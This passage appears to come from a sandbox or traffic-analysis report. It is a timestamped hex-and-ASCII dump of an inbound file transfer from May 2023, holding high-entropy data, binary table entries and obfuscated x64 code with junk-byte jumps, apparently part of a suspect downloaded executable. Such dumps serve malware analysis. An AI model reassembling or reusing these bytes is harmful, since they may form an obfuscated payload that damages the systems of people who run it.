fd 46 65 46 81 f3 6d 69 13 a6 66 Data Ascii: tRH/!36E::TGO6\|y631!%xT>)WR-FeW[KbxQ5#lu9v`eT:4y\|(RG+?GSc9Q>-Lw\|tu7ZYo?PI7^O$j7xZ08DS{nW.XnON$b>HFeFmif
2023-05-14 02:34:43 UTC	1168	IN	Data Raw: 78 f3 04 9f e2 f2 98 5d 1e a6 74 5f c5 84 f4 a6 57 95 b5 bb a4 e4 e2 14 b9 89 dc c3 2d 29 0b db a7 9c e2 4f c2 85 b3 1d 25 1f 74 42 03 06 5d a4 86 16 d9 21 69 e1 02 d8 3d b3 7d 48 7e fa 42 53 4d 5e 7c bb 05 ae af 69 16 07 a1 72 96 60 20 09 e4 a7 31 e7 91 9e 77 d0 9c dd ee 48 23 e4 48 41 62 9e 82 78 a2 02 9a 6c 11 dc 39 ba c8 18 76 34 d8 87 56 7e 42 b8 91 92 b5 21 e9 2a 60 d1 8c eb 7f ae 6b fe cf 62 bc 2b f4 69 30 18 b3 b3 e8 9a a6 e7 0b 1c 73 3f e5 89 cf 6a 06 32 f3 f1 44 9e e0 ec 95 98 32 af bb 3d 7a c1 4f 37 f5 f3 73 f9 bd a9 93 2d 71 37 f5 df f0 02 c6 ee eb e1 8c 04 e5 ad fa 7c 28 b1 b3 0f c4 d1 91 67 55 2b 73 c7 05 67 d2 46 d7 b1 11 12 8a c0 ac 94 a3 83 6c eb fd 3e f9 a8 5b 51 64 21 b6 e0 79 1a 8c f5 69 f1 fe 33 1c c7 7c 87 65 22 4a 30 2e c6 f6 e1 c8 Data Ascii: x]t_W-)O%tB]!i=}H~BSM^\|ir` 1wH#HAbxl9v4V~B!*`kb+i0s?j2D2=zO7s-q7\|(gU+sgFl>[Qd!yi3\|e"J0.
2023-05-14 02:34:43 UTC	1184	IN	Data Raw: e8 ea 5a 6c c2 b8 08 34 95 2b f0 82 1a 47 2b 10 72 fd 1e 80 68 de 43 17 17 8f 5f 6e d8 7b 56 c7 ca 28 5d 10 16 aa be 78 a3 9b 7f df d5 d7 1a 7f da f5 55 3b 29 94 94 fb 75 13 f5 1c 65 95 c3 67 f8 c5 d8 7d 48 5e 73 5e a4 14 68 71 dd f7 46 04 c6 96 cd b1 71 c1 2d 76 a5 28 98 cb a3 d4 e3 da b5 5b e9 e9 c8 f9 bd 55 0a a3 b0 c2 e2 59 60 35 d5 fe 5b 50 40 08 e0 0f 66 7e c4 8e bf d2 dd 6e 3d ff f7 23 20 9e c3 ce 70 1c 67 57 a9 b3 33 89 6f 25 9d d2 67 33 2f 52 e4 81 c7 e0 c1 b2 d4 42 54 af 7c ba e7 20 b9 32 ea fd a8 bb 93 14 ca ad 9f c3 43 65 a2 57 61 06 c4 0c 1c fb 78 a7 eb 55 d3 b8 a3 b4 ba d0 03 1e e2 6f 47 a1 7f c7 e8 4a 32 69 fd 34 50 bd 2c db 0a d9 36 04 e1 75 54 a4 64 99 f8 38 42 b4 71 ab e7 5a 5f 19 bf 63 66 a7 b1 6a 48 52 91 17 65 18 bf aa 1b 47 61 22 98 Data Ascii: Zl4+G+rhC_n{V(]xU;)ueg}H^s^hqFq-v([UY`5[P@f~n=# pgW3o%g3/RBT\| 2CeWaxUoGJ2i4P,6uTd8BqZ_cfjHReGa"
2023-05-14 02:34:44 UTC	1200	IN	Data Raw: f9 cc f4 6e ca 92 15 11 af 6c fa 43 31 56 a1 4a 52 fc 33 6e b5 ea 15 5a ad 02 ac f6 f7 65 0a e9 ce c8 ca 79 da cb 55 e4 34 99 9d 16 2e 47 1b 47 f5 ab 77 75 40 32 75 16 e4 2f ce a5 9a e1 59 a7 1e 08 78 70 81 45 ff 47 84 df 62 5d 9b 97 64 a4 31 e1 c8 f9 f6 de 51 74 d0 6a 6b 85 d2 f9 ef e2 4c b0 7e 4c 8f 42 02 74 2d bf d8 66 b4 77 fa 7e bd 8f fa 45 00 d4 15 55 9a 5a 2c 28 be 78 f1 f1 a5 5e e8 eb 65 8c 2a 5e 53 3b ad 72 56 21 e8 ec bd b6 58 54 d8 ee c6 fe bc 92 0f ad 15 ff 9a 88 fd 47 c8 15 a1 f7 3e 52 56 97 64 e3 15 5c 60 b7 d7 31 5a fe c2 7e 68 96 9c 09 7e f8 2d 79 c0 d1 4a e6 c3 f3 60 fa 72 49 ec d7 9e 76 25 d7 8b 2e 0f 9d 59 47 b0 6b e5 d3 b9 10 2a 34 e4 49 da 10 e1 ec 9e 19 f7 d6 be 4d 06 59 40 3e 5d 61 30 a0 58 a4 86 cf cd d6 03 96 ed 32 a0 f3 0b e9 87 Data Ascii: nlC1VJR3nZeyU4.GGwu@2u/YxpEGb]d1QtjkL~LBt-fw~EUZ,(x^e^S;rV!XTG>RVd\`1Z~h~-yJ`rIv%.YGk4IMY@>]a0X2
2023-05-14 02:34:44 UTC	1216	IN	Data Raw: 31 c2 c9 09 22 60 bb d7 a4 77 45 43 f4 26 71 bc d8 50 9b af 08 98 31 d1 f8 15 cb a6 99 99 20 30 f9 59 e4 76 a8 92 66 4d f5 9d 7e 46 ad 33 06 18 ef a6 73 41 7d d3 47 d2 29 62 28 6f f7 47 d8 ba 45 46 f8 2b a6 a6 6e 77 28 e1 e1 9b e4 73 56 4c f5 cb 5b f3 d0 1e 22 17 27 10 ff d4 41 00 c2 92 39 d3 b0 64 a2 02 1b 1c b1 dc 71 7f e0 37 82 48 5b 15 df 08 38 88 21 92 d4 d0 e0 dd fa f1 ae 90 0c ce 79 d1 68 b2 86 18 5a a9 49 dc 17 fd 74 e8 ea b7 1b 49 b1 dd 22 1f e6 82 05 c6 93 40 c3 f1 60 c0 58 12 a2 e0 eb 1b 1c de 74 7b df 77 13 ca 5e 2c c6 6b 66 65 a1 d2 ae d1 c0 a9 f8 b1 48 80 bd c2 78 f9 82 b6 87 71 46 4d bc 89 a5 70 7a 60 55 57 3b c5 f7 56 5b 1e b8 5e 9e 5a 3b e4 c0 36 67 4c c0 38 62 f2 f4 50 96 c3 61 63 85 f7 20 2b dd a0 dd c5 fa dd a2 4e fc 0a 4a 84 ff 21 d6 Data Ascii: 1"`wEC&qP1 0YvfM~F3sA}G)b(oGEF+nw(sVL["'A9dq7H[8!yhZItI"@`Xt{w^,kfeHxqFMpz`UW;V[^Z;6gL8bPac +NJ!
2023-05-14 02:34:44 UTC	1232	IN	Data Raw: b5 8f ba fd 35 8e d6 50 64 7f 7b 5b 67 1f 58 a8 df 9b ca e4 7b dc 63 8f 35 36 0e 8e 76 e1 48 92 1b 9f e9 20 23 82 11 5a 96 ba 79 1b 34 ab 73 40 bf bd f7 16 a0 8c b6 d3 f1 93 15 a8 25 b2 3a 54 bc cf 71 0c b3 8a 12 49 9e 92 7c 5b a5 b7 26 a8 df 07 1d a1 5b ff 65 3a d5 88 32 7f b5 66 da f8 7d de d4 c8 92 4c 33 5d b6 c4 49 db f6 57 d0 40 e6 a3 99 e7 d1 8d 61 96 fc 21 0e e3 bb 81 81 10 f4 dd c2 4e c2 17 9a d8 b3 99 50 59 b7 7f 6a 28 99 67 db 51 38 6c 61 3c be da 2e b5 ed e3 1c 70 ad 96 ac bb e5 3f 02 42 ba 0b 30 99 13 19 61 f5 7f 2c ff 01 81 ce 40 91 a4 f2 ee 4e b2 e1 c9 90 ba 10 bc 0e 59 7b f7 9a b6 c8 22 57 cb 34 3c a9 37 a5 cf 79 21 dd 81 3a ad 2e fa 46 f0 ef ca 00 f8 dc 1a fb f1 22 70 0b 36 99 0d 7b b5 97 4b 8e 1f f7 fa 25 30 c8 89 15 27 19 8a 96 33 e1 c2 Data Ascii: 5Pd{[gX{c56vH #Zy4s@%:TqI\|[&[e:2f}L3]IW@a!NPYj(gQ8la<.p?B0a,@NY{"W4<7y!:.F"p6{K%0'3
2023-05-14 02:34:44 UTC	1248	IN	Data Raw: 7d a6 f3 7c e2 fd 92 5d 38 da 78 1b ac 7f f2 78 9f a7 1b 63 72 9d 56 02 fd d4 6f ae 63 ef c6 90 05 fe f8 ae e1 a3 d2 42 3e 59 78 1d 34 7d 76 aa 9f 84 cb 65 56 5c 61 92 f4 16 ee e1 d3 e1 56 92 7c be ed 70 e2 13 f2 5d f6 dc 7b 9b 9a 67 72 21 5e a7 6b 69 74 5d 09 32 fd 4e ed af 33 fa ca 90 98 9e f8 2c e5 a0 f2 61 26 d9 96 da b5 97 7d ac 1f 25 78 65 75 df 60 72 ef 1a ee 34 b3 e1 3e 94 7f 9e d1 68 e2 f5 33 5d 16 d2 7d db ee 57 72 5c dd a6 8b 7d 78 dd a8 52 fd 6e e8 ac 33 d4 d2 90 c7 5f f8 38 ec a6 32 28 16 d9 b5 58 b4 67 6d a0 df 58 9b 65 44 9d 6b 42 dd 02 ee 89 72 e1 72 99 79 5e a8 58 e2 02 b0 5c d6 cc 71 5b 02 37 72 44 da a5 9b 54 60 dd f7 93 fd 02 e3 aa f3 8d e2 90 01 dd f9 e8 fe aa b2 b6 76 d9 fd 5c b7 b7 4f b8 df 5a 5a 65 20 4d 75 8a b0 32 ee e2 f1 e0 92 Data Ascii: }\|]8xxcrVocB>Yx4}veV\aV\|p]{gr!^kit]2N3,a&}%xeu`r4>h3]}Wr\}xRn3_82(XgmXeDkBrry^X\q[7rDT`v\OZZe Mu2
2023-05-14 02:34:44 UTC	1264	IN	Data Raw: 93 f1 45 f4 2f 8e 0c d1 64 74 c7 db 7f 7b f7 34 11 23 e5 e8 be e1 5e 9e 33 96 11 22 7d c3 35 0c a3 72 76 f6 24 8c a5 db 38 d5 e6 d7 c4 da cd 44 1e 87 64 99 fe f1 fe 8e 13 3e d1 1c 0d 4d fc 1c 87 f4 45 74 af 12 84 53 f8 55 ff 97 6b 83 79 ad 93 8b 70 a8 fe f1 de cf 53 3e f1 20 3f ed 5f 1d b2 f2 13 75 2d 0e 04 d9 b8 fd c3 d3 7b db c0 22 01 9b 64 22 fe f1 6e 9b 35 0e 41 22 35 c6 75 1c 73 f9 4b 94 0c 8e 2f 50 f8 75 ca db 1b 7b cd 15 90 8b 44 e4 b2 f1 8e de 33 30 52 23 fd d6 65 dc f3 f2 59 f7 2d 0e 11 c9 38 b5 c6 b7 4a 7b cd a4 2a bb e4 68 be 1d d9 9c 33 00 61 a2 bc cd 5d 74 f3 f2 47 74 95 ce 08 d3 fa 45 00 f6 eb da 0d 24 d1 8e 60 69 82 e1 de be b2 3f 5d 26 fd f0 6d 1c 9f 73 46 f8 28 ee c0 d2 fa f5 46 d5 78 43 c5 a4 4e ab 64 41 bc f2 c6 96 f3 54 71 22 f5 cf 7e Data Ascii: E/dt{4#^3"}5rv$8Dd>MEtSUkypS> ?_u-{"d"n5A"5usK/Pu{D30R#eY-8J{*h3a]tGtE$`i?]&msF(FxCNdATq"~
2023-05-14 02:34:44 UTC	1280	IN	Data Raw: 07 d2 57 f6 6c 8f 0c c9 f7 f1 c6 b7 1b 52 05 27 13 eb 44 d5 1e 7f de 97 13 3a 55 42 e8 b5 5d 0f b2 e0 27 f9 24 4e a2 23 f8 e7 c4 f3 7b 47 dd a4 78 6c e5 a9 ba b9 5e a4 13 3e 37 f6 3e 89 74 f8 b3 a8 07 f4 f2 3e 0a e7 c8 7d 84 97 7b b9 74 23 55 9a 44 e8 44 71 de 5e b9 31 6d 02 7d 4f fc 1c 2b 52 48 94 4a de 87 51 f8 89 74 d8 d3 78 ed 25 b1 8a 65 09 2c ee 96 de b3 3a 52 23 7d 7b 62 64 75 72 43 f4 04 8e 4d f4 78 f7 c6 5f 7a 49 c1 20 11 b6 74 e9 5a f0 cc 92 37 3e da 22 38 cd 15 1e 97 ea 4f f4 5f ae 0d 59 fa e7 de df 7b c2 cc 2e 11 7b 63 a1 8e e1 de 72 73 3e 61 24 75 fd 6d 1c ab f6 53 f4 0c 82 9d b1 d8 f5 6a 56 7b 5b 0f 49 b3 ab 64 ed b4 d9 de 5e 25 1e 50 30 3b d9 7d 1c bf f6 47 90 4c 8d 0e d0 18 fb c2 d7 00 3b ce 27 10 4b 15 a9 bf f1 40 5e 35 38 53 a2 24 c5 7d Data Ascii: WlR'D:UB]'$N#{Gxl^>7>t>}{t#UDDq^1m}O+RHJQtx%e,:R#}{bdurCMx_zI tZ7>"8O_Y{.{crs>a$umSjV{[Id^%P0;}GL;'K@^58S$}
2023-05-14 02:34:44 UTC	1296	IN	Data Raw: a1 b9 49 49 46 e4 33 b3 99 1e 2a e8 12 f4 c5 59 d8 d3 7a 96 5e 1b d0 49 51 51 df d4 78 ae 73 1f de 9b 69 a9 55 e5 00 2f 91 36 4f bd 72 70 e3 5b e2 e3 6b 06 cc 92 50 33 1a 55 57 8f d6 a6 b3 3d fa 99 93 89 44 15 16 a6 11 36 88 a8 1e 35 c1 fb 5e f0 6a b1 56 9a 18 41 2f 24 1e 52 54 9b 73 97 da 49 4a cb 4a e5 3e ae 65 9e 18 ab 52 3f c3 66 78 14 6a 46 d4 da df e1 67 55 e3 5d a4 a7 73 17 e8 81 76 4c d4 fd 3c ed ff d9 1e 58 df dd 15 cb e2 01 bc 66 3b dd 06 82 39 38 91 ad 72 ef 65 0b c1 57 98 4d c9 8a 75 f2 4f a9 36 9b 78 03 12 2a b7 8f aa 0a d6 e5 09 ee bf b2 a2 a5 95 a1 2a d2 45 60 86 3a ba 2a d5 57 4c 20 cc 49 db 7f f5 ae 0a d1 9b 82 16 ad 24 7d 5f 22 c2 05 3b e4 1c 76 4c bc 1f 08 bd 92 4d ec 49 f3 93 7f f3 9c 1f 9b e7 65 f5 b7 89 a9 b8 b0 95 5a 4e b7 af 61 d1 Data Ascii: IIF3Yz^IQQxsiU/6Orp[kP3UW=D65^jVA/$RTsIJJ>eR?fxjFgU]svL<Xf;98reWMuO6xE`:WL I$}_";vLMIeZNa
2023-05-14 02:34:44 UTC	1312	IN	Data Raw: 71 5f a6 46 2a a3 41 2c 2e d5 4a 53 d9 b5 17 3e c4 3a 7d 0e 1a 49 e0 ed 35 38 95 e7 88 e0 42 5b 09 0b 6e 74 8b 82 ed 5b 7e 36 4e d5 ee 71 5d bb b8 99 b9 55 08 ae 08 81 6c b5 0c f2 20 87 b4 f6 3e d6 08 94 fb fa c7 46 1d 59 96 4f 70 61 b6 fb 76 29 b8 4f db d1 d4 1e 7d e0 8a 35 50 de 06 0b 2b 81 86 fd a4 85 bc 39 4e 61 2e d9 13 da 2e ab 3d e1 91 5e 48 ab 8c 3a be 47 0b 38 a6 6c 75 82 9e e0 39 7f 0d aa 28 a2 52 a4 ee 7f 12 59 2c a8 bf 5e 34 4c d8 5e 03 33 26 46 8d 30 18 32 63 38 29 b8 a7 38 bf f4 f3 8d ac c1 8a 02 02 e2 b9 4b ad 0b fd 17 84 20 a0 f5 b7 90 65 d4 8e b1 35 62 3b ef df 54 a8 4b 95 ff 38 b7 48 b2 df 42 c1 d3 f8 b8 34 25 13 aa 16 bd d9 f2 d2 c9 d2 d4 05 b9 0d c2 2e 39 bb f0 2b de 78 c3 1a dd a4 48 43 6b b5 b1 47 87 ca 04 85 19 54 b0 98 cc 70 fb f5 Data Ascii: q_F*A,.JS>:}I58B[nt[~6Nq]Ul >FYOpav)O}5P+9Na..=^H:G8lu9(RY,^4L^3&F02c8)8K e5b;TK8HB4%.9+xHCkGTp
2023-05-14 02:34:44 UTC	1328	IN	Data Raw: 91 d7 01 49 fa aa a9 1e 8a 37 d6 e2 dd 62 9d 67 07 c2 29 62 3f f7 f4 cf 77 18 9d 90 ef ab 3c 95 e3 cb 06 bc ee 78 58 c4 ef cd a2 9a 1b 1c cd cb 1d a4 84 27 8c 89 c6 4b 03 07 39 c8 b7 fc 9a 3b c8 48 92 9f dc bc 01 46 4f d9 2b 1a 52 dd 48 ae f3 6c 3e ea 01 cf 0e 5a ab a2 07 1d 75 e1 98 93 be 2d d1 41 82 83 eb 43 06 a1 dc 02 6a fc 15 a7 a1 20 87 6d 2c ce 80 90 95 d4 0f 70 da d4 27 9d 16 a3 ae f1 c5 b5 03 5c 80 fc 61 b7 55 70 64 cb a4 5b aa 22 9f 9d 33 0b 81 7e ca 38 33 71 ba c2 77 5f 1e 44 a5 b6 49 88 51 b1 e8 d3 f2 c7 05 cc b1 06 2f 25 5a c4 23 b4 24 3b 81 1c b2 b4 64 92 4f 7a 23 6f 51 54 b6 90 c0 db 60 ae 1f 2f 0b 02 02 93 b4 ba 96 01 46 7a e4 94 02 d6 5c 69 04 0b 24 3e 97 43 54 90 d6 46 74 ce 53 85 c9 48 82 4d ad ff 8e c7 d9 d8 10 99 d0 a8 11 bd 7d 23 4a Data Ascii: I7bg)b?w<xX'K9;HFO+RHl>Zu-ACj m,p'\aUpd["3~83qw_DIQ/%Z#$;dOz#oQT`/Fz\i$>CTFtSHM}#J
2023-05-14 02:34:44 UTC	1344	IN	Data Raw: 52 6b bf a2 a0 8e 17 e4 5d 65 80 a1 7c 24 b5 7c 29 fe 7c ee 14 58 c5 54 94 b9 9e f5 d8 2c ff b0 b2 d4 2a a6 4e 91 d9 7f b8 5d 8a c4 dd a9 21 32 24 53 0d 4e 4f 84 05 b1 32 80 09 24 8a e8 9f 96 43 3e 57 8b 6d 89 b0 37 f6 0f 6b fa 18 21 91 71 c5 a7 f0 16 29 9b ea e1 b7 5f d2 cd 29 db 51 b2 85 36 ce 71 ea db 7e dd 46 15 1f 32 e0 bf d8 82 c5 e0 64 d8 32 13 a3 59 ef 05 6c 70 4c 28 ab 95 9b ee 8c 8d bc 2d 8c 7e e6 29 67 16 fd 3e 14 e5 86 8b c5 2f 10 1f c3 2b 94 f6 29 34 22 04 48 38 5a 5a 3c 64 d0 aa e7 7a 89 66 77 ad 98 cd 95 4d d0 69 3c 28 ec 05 0d a8 36 9b 6e f5 95 27 81 8f e6 fb 58 7b 87 88 1b 48 e9 63 36 34 9e 76 08 27 ab fe c5 57 5d dd ae b0 85 10 95 4d 9f af ec 00 1a 3a ed b9 4b 20 b3 8d e1 8f 56 93 35 a6 10 ad e8 9a dc 4b 92 14 1f 01 bb da 9a 09 2d 5e 94 Data Ascii: Rk]e\|$\|)\|XT,*N]!2$SNO2$C>Wm7k!q)_)Q6q~F2d2YlpL(-~)g>/+)4"H8ZZ<dzfwMi<(6n'X{Hc64v'W]M:K V5K-^
2023-05-14 02:34:44 UTC	1360	IN	Data Raw: b1 b5 8a 02 19 b2 53 1e 6e ae 8c 74 94 77 3f 7d ac af 9f 8e ca ec 67 48 d8 23 07 30 b9 f9 ba 40 04 0c cf 73 69 6f 96 f2 a5 eb 3f bc 94 e0 76 3d 4e 04 a9 00 6f 3f 76 56 5e 98 54 99 94 c5 16 35 d2 4c cc ba 88 8e 64 35 eb 73 5d e2 77 56 27 b3 5d f7 70 f6 09 a5 1c 30 6a 48 ae ed 94 c8 9c 94 d5 5f 5d 59 8d 7d f9 eb be dd 46 92 6c 7a 03 54 74 89 26 fb 22 d0 3e b8 d3 01 6a 59 94 90 ba 0c 81 f1 b7 93 54 b3 ec 5a 74 04 4f 75 f3 2f 30 07 87 2f 26 a6 7a cb c2 bd ed 37 2b 51 95 e9 a1 05 26 9f 1e 29 88 66 e5 ac 64 57 0f 9e d6 67 21 b5 1e 9b 34 c0 61 58 15 a2 85 21 85 9c c3 96 85 5a bd cf 52 65 45 59 c9 2b 50 f9 5c ea 63 2b ed 28 d1 76 c2 37 11 bd 42 95 72 73 da 3e b7 16 3b 51 ed 3f 71 27 0e b2 9a 62 d3 4f ac 1d 0f cf 7b 0a f8 8f ed d0 74 4b bc 59 e5 14 a1 96 86 cb 61 Data Ascii: Sntw?}gH#0@sio?v=No?vV^T5Ld5s]wV']p0jH_]Y}FlzTt&">jYTZtOu/0/&z7+Q&)fdWg!4aX!ZReEY+P\c+(v7Brs>;Q?q'bO{tKYa
2023-05-14 02:34:44 UTC	1376	IN	Data Raw: 03 7c 8d ef 75 87 61 fa 3b 7a c2 d6 1d 3d 59 83 03 77 66 0f 28 1e bd 07 c5 39 11 40 ca d6 e5 1e 81 12 97 7c cf 43 54 d2 8c 64 c6 f8 29 11 2a 2e d8 d5 37 0b fd fc 6f 10 54 b3 95 9d 6f a6 5d 62 f3 6e 4e 3b 78 d0 cd 92 8a 78 0d 7c 9a 1f ad 2f e2 44 a0 e8 d8 94 c6 5d 67 33 99 2c 6d 94 31 47 81 7e ea ff 55 a9 ce ba ba a3 46 5f d1 16 11 93 65 36 c4 b1 cc b8 87 97 65 cb 85 69 0e 25 bd 1c e7 ba e7 af 45 83 4e 03 62 1a 24 55 03 96 4b 6e 79 c3 ce f6 a0 2c 05 35 cc 71 9e 99 4d c0 dd 02 c2 00 87 f5 fa c1 95 5a a3 b8 05 97 08 0c 01 26 83 e6 ec 62 cb 83 1c d5 68 7b 34 69 db 02 ec 1d 89 96 af 5a 9e 57 4f 89 80 e8 ef 94 05 32 0d 0f 78 02 a1 ca 10 3c 14 b5 46 26 91 12 ff 82 55 d6 d4 7f 88 4f 5e 81 5d df ba ba 2b 5c 1b 7a 0c 33 c2 db 21 c6 d8 4e 5a 94 bd 33 9b 09 65 9d 9d Data Ascii: \|ua;z=Ywf(9@\|CTd)*.7oTo]bnN;xx\|/D]g3,m1G~UF_e6ei%ENb$UKny,5qMZ&bh{4iZWO2x<F&UO^]+\z3!NZ3e
2023-05-14 02:34:44 UTC	1392	IN	Data Raw: 00 dd 07 02 00 98 45 13 00 70 08 02 00 b5 08 02 00 d0 45 13 00 b5 08 02 00 12 09 02 00 dc 45 13 00 12 09 02 00 1c 09 02 00 f0 45 13 00 30 09 02 00 1c 0a 02 00 20 46 13 00 90 0a 02 00 6b 0b 02 00 74 46 13 00 6b 0b 02 00 4f 0e 02 00 88 46 13 00 4f 0e 02 00 a9 0e 02 00 a4 46 13 00 b0 0e 02 00 e9 0e 02 00 6c 46 13 00 f0 0e 02 00 27 0f 02 00 d4 46 13 00 00 13 02 00 0d 14 02 00 00 46 13 00 b0 15 02 00 bf 16 02 00 10 46 13 00 c0 16 02 00 16 1a 02 00 38 46 13 00 20 1a 02 00 64 1d 02 00 b4 46 13 00 70 1d 02 00 a5 20 02 00 54 46 13 00 60 21 02 00 23 22 02 00 fc 46 13 00 10 24 02 00 2a 26 02 00 ec 47 13 00 30 26 02 00 b9 26 02 00 80 47 13 00 c0 26 02 00 4a 27 02 00 ac 47 13 00 50 27 02 00 84 27 02 00 88 47 13 00 90 27 02 00 b0 29 02 00 b8 47 13 00 b0 29 02 00 f0 29 Data Ascii: EpEEE0 FktFkOFOFlF'FFF8F dFp TF`!#"F$*&G0&&G&J'GP''G')G))
2023-05-14 02:34:44 UTC	1408	IN	Data Raw: 00 c4 a4 13 00 f0 9e 06 00 35 a0 06 00 6c a3 13 00 40 a0 06 00 b3 a2 06 00 2c a5 13 00 c0 a2 06 00 7e a5 06 00 58 a5 13 00 80 a5 06 00 d4 a8 06 00 2c a4 13 00 e0 a8 06 00 a6 ac 06 00 54 a3 13 00 b0 ac 06 00 24 ae 06 00 20 a4 13 00 30 ae 06 00 52 ae 06 00 48 a4 13 00 52 ae 06 00 29 af 06 00 54 a4 13 00 29 af 06 00 34 af 06 00 68 a4 13 00 34 af 06 00 42 af 06 00 78 a4 13 00 50 af 06 00 8d af 06 00 98 a5 13 00 8d af 06 00 c1 b2 06 00 b0 a5 13 00 c1 b2 06 00 dc b2 06 00 d0 a5 13 00 dc b2 06 00 07 b3 06 00 e0 a5 13 00 40 b3 06 00 b8 b3 06 00 00 a6 13 00 c0 b3 06 00 dd b3 06 00 80 a3 13 00 dd b3 06 00 14 b4 06 00 8c a3 13 00 14 b4 06 00 1f b4 06 00 a0 a3 13 00 1f b4 06 00 2a b4 06 00 b0 a3 13 00 30 b4 06 00 ca b7 06 00 e0 a0 13 00 d0 b7 06 00 4c bb 06 00 08 a5 Data Ascii: 5l@,~X,T$ 0RHR)T)4h4BxP@*0L
2023-05-14 02:34:44 UTC	1424	IN	Data Raw: 00 60 d3 0b 00 32 d4 0b 00 9c e8 13 00 32 d4 0b 00 b0 d4 0b 00 b4 e8 13 00 b0 d4 0b 00 db d4 0b 00 c8 e8 13 00 0c d5 0b 00 92 d5 0b 00 4c ea 13 00 d0 d5 0b 00 45 d6 0b 00 88 ed 13 00 b0 d6 0b 00 f1 d6 0b 00 d0 f0 13 00 f4 d6 0b 00 3a d7 0b 00 50 f0 13 00 ac d7 0b 00 ca d7 0b 00 24 ec 13 00 cc d7 0b 00 f1 d7 0b 00 24 ed 13 00 34 d8 0b 00 5a d8 0b 00 2c ec 13 00 5c d8 0b 00 82 d8 0b 00 2c ed 13 00 84 d8 0b 00 b0 d8 0b 00 c0 f0 13 00 b0 d8 0b 00 dc d8 0b 00 3c f0 13 00 dc d8 0b 00 08 d9 0b 00 cc ef 13 00 08 d9 0b 00 34 d9 0b 00 5c ef 13 00 34 d9 0b 00 60 d9 0b 00 14 ec 13 00 60 d9 0b 00 85 d9 0b 00 14 ed 13 00 88 d9 0b 00 b6 d9 0b 00 e8 ed 13 00 b8 d9 0b 00 e6 d9 0b 00 78 ee 13 00 b0 db 0b 00 41 dc 0b 00 d8 eb 13 00 5c dc 0b 00 f2 dc 0b 00 3c ee 13 00 f4 dc Data Ascii: `22LE:P$$4Z,\,<4\4``xA\<
2023-05-14 02:34:44 UTC	1440	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-14 02:34:44 UTC	1456	IN	Data Raw: f8 73 05 4b ae ed 48 49 48 ff c4 f8 eb 06 b7 2a 1a 11 d5 e9 73 04 64 13 1f 3b e9 05 00 00 00 b1 ec 28 38 91 eb 06 87 31 30 81 d4 3e 9e 48 8b 04 24 eb 04 4e 1f c1 52 48 8d 64 24 08 e9 05 00 00 00 9a 16 25 f3 c3 e9 02 00 00 00 89 6a 66 8b 1c cc 48 ff c7 48 8b cc e9 02 00 00 00 50 e6 9c f8 eb 06 94 55 47 58 18 da 73 04 7c 35 77 35 e8 07 00 00 00 2e ef 55 8e 40 25 91 48 83 c4 08 9d eb 02 7c 30 48 81 c1 f0 00 00 00 48 8b 09 51 e9 02 00 00 00 51 67 9c f9 e9 02 00 00 00 fa f5 72 05 c5 8c e4 ff 83 e8 06 00 00 00 50 ae 25 7f 98 45 48 83 c4 08 e9 07 00 00 00 5c bf 13 51 74 52 bb 9d eb 06 8c ac c7 48 3d ab 9d 48 23 c3 9c 50 9f eb 06 ad ad 44 21 a3 7e 38 d2 e9 04 00 00 00 a6 25 da 64 74 03 e8 ce 80 e8 02 00 00 00 9d 8c 48 83 04 24 0a c3 7e 4a 9e 58 e9 05 00 00 00 cb Data Ascii: sKHIH*sd;(810>H$NRHd$%jfHHPUGXs\|5w5.U@%H\|0HHQQgrP%EH\QtRH=H#PD!~8%dtH$~JX
2023-05-14 02:34:44 UTC	1472	IN	Data Raw: 00 00 00 28 dc 43 ba df 26 e9 94 c7 00 00 e9 03 ce 00 00 e9 97 ec 00 00 eb 03 cd ac 6d 9c f8 e9 02 00 00 00 dd 54 73 04 3b 3d cf 79 e8 06 00 00 00 94 58 5f 73 c3 bd 48 ff c4 f9 eb 07 36 b8 95 1d d6 27 8f 72 05 6e ba 4d e8 c3 48 ff c4 eb 06 4f 95 23 ee a7 c0 48 ff c4 f8 e9 04 00 00 00 82 30 c9 a7 73 03 a5 ef b2 48 ff c4 f9 eb 03 64 f3 fe 72 03 ab 5b 5c 48 ff c4 f8 73 02 dd a0 48 ff c4 eb 07 8d 52 69 52 d6 ce 8c 48 ff c4 eb 06 9c c2 4d f1 60 5c 48 ff c4 38 c9 eb 05 8f a4 28 39 5d 74 02 c8 f8 eb 05 fa da 31 de cb 9d e9 03 00 00 00 22 1f b7 e9 90 03 01 00 e9 ec 1b 01 00 48 8d 64 24 f8 e9 06 00 00 00 43 e1 f7 5b 87 4f 48 89 04 24 9f eb 03 b6 ad 63 eb 02 39 1f e8 05 00 00 00 83 f3 9b c2 a0 48 8d 64 24 08 9e 58 eb 02 90 8c e9 00 00 00 00 e9 00 00 00 00 9c 48 8d Data Ascii: (C&mTs;=yX_sH6'rnMHO#H0sHdr[\HsHRiRHM`\H8(9]t1"Hd$C[OH$c9Hd$XH
